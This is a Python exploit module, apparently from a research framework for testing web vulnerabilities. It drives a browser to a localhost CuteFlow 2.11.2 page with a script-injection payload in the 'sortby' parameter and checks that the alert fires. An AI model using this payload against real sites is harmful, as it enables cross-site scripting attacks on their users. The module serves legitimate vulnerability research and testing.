
# Copyright 2013 University of Maryland.  All rights reserved.
# Use of this source code is governed by a BSD-style
# license that can be found in the LICENSE.TXT file.


import sys
import os
import time

from selenium.common.exceptions import NoAlertPresentException

import framework

class Exploit (framework.Exploit):

    attributes = {'Name' :        "CUTEFLOW_0024",
                  'Description' : "CuteFlow v2.11.2 cross site scripting attack.",
                  'References' :  [['http://itsecuritysolutions.org/2012-07-01-CuteFlow-2.11.2-multiple-security-vulnerabilities/']], 
                  'Target' :      "CuteFlow 2.11.2",
                  'TargetLicense' : '',
                  'VulWikiPage' : "",
                  'Type' : 'XSS'
                  }

    def __init__(self, visible=False):
        framework.Exploit.__init__(self, visible)
        self.verified = False
        return
            
    def exploit(self):
        driver = self.create_selenium_driver()
        driver.get("http://localhost/cuteflow/pages/showmaillist.php?sortby=\"><script>alert(\"XSS\");</script><p+\"")
        self.logger.info("XSS link visited")

        try:
            driver.get_alert()
            self.logger.info("XSS popup comfirmed")
            self.verified = True
        except NoAlertPresentException:
            self.logger.error("XSS failed")
        
        
        if self.visible:
            time.sleep(10)

        driver.cleanup()
        return


    def verify(self):
        return self.verified

[(27, 'framework.Exploit.__init__', 'framework.Exploit.__init__', False, 'import framework\n'), (45, 'time.sleep', 'time.sleep', False, 'import time\n')]